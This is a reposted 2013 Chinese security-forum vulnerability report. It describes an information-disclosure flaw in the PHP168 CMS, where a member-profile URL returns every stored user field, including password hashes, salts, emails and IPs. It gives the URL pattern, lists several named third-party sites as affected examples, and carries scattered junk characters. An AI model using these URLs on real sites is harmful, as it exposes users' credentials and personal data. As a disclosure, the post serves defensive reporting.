中国网络渗透测试联盟

标题: PHP168漏洞可查询任意用户数据 [打印本页]

作者: admin 时间: 2013-9-21 16:02
标题: PHP168漏洞可查询任意用户数据
简要描述：

国微PHP168中出现了一处神奇的array，可致全站用户数据泄露。泄露的内容包括全站用户的密码密文、邮箱、密码salt、IP等敏感信息。

详细说明：

PHP168程序内置“用户”模块包含用户个人资料展示页面。在很多实际场景中，这个页面不会在前台使用，但可直接通过URL进行访问。页面路由为：/homepage.php/[用户名]/member-profile
3 r3 R8 P  l  C4 i  C* e7 t+ ^
! z9 W5 q; }6 m7 A& y+ s+ C以PHP168官方演示站点为例，查看任意用户信息的页面链接为：# ?% C+ L) N: a$ B! N

! t0 O/ H9 Y* o8 h2 Ehttp://php168.cn/com/homepage.php/admin/member-profile5 f$ p  A9 _3 v4 f

8 U0 S4 v" }* [$ c由于该模块代码中出现了一句神奇的array，导致用户数据表内所有数据被当作数组取出直接显示出来。: _  A# E, B7 v6 [
http://www.myhack58.com/Article/UploadPic/2013-9/2013920918425520.jpg
2 W4 @$ E7 Z; J, U
' z9 U! B6 n* d" f) |

漏洞证明：

该漏洞影响使用该CMS系统的站点，以PHP168官网上的客户案例为例：" ]) j2 r$ V0 u, r' }; h; l# H5 v
: G  _: W6 P5 E+ b$ o
http://www.zjfzol.com.cn/homepage.php/admin/member-profile, _1 j! d/ r; _, y+ m
6 k4 r; m+ X1 @* X  a5 v( o
http://www.scswl.cn/homepage.php/admin/member-profile+ [% R) _9 b  Q) x! z: Z) X4 e

! J( {) v% D# H6 W1 w$ mhttp://www.tunet.edu.cn/homepage.php/admin/member-profile7 n% w3 v6 c2 V; o* u; }
: J8 u9 p5 y" [  @* q: K& N
http://www.itlead.com.cn/homepage.php/admin/member-profile6 N; L8 M$ o  i0 S( a

  o3 g8 K, h# n$ qhttp://www.aedp.cn/homepage.php/admin/member-profile
3 A' f4 x; l# i/ S, E5 M; a+ t! O% {/ _# g1 `, v8 M" C
http://www.qianlongnews.com/homepage.php/test/member-profile
! Y; @/ n8 x+ s2 {" ]6 [' L' N: H+ d1 [) e; n% @3 G
http://ny.zlxk.com/gov/homepage.php/admin/member-profile

修复方案：

去掉输出

[/td][/tr]
[/table]

欢迎光临中国网络渗透测试联盟 (https://cobjon.com/)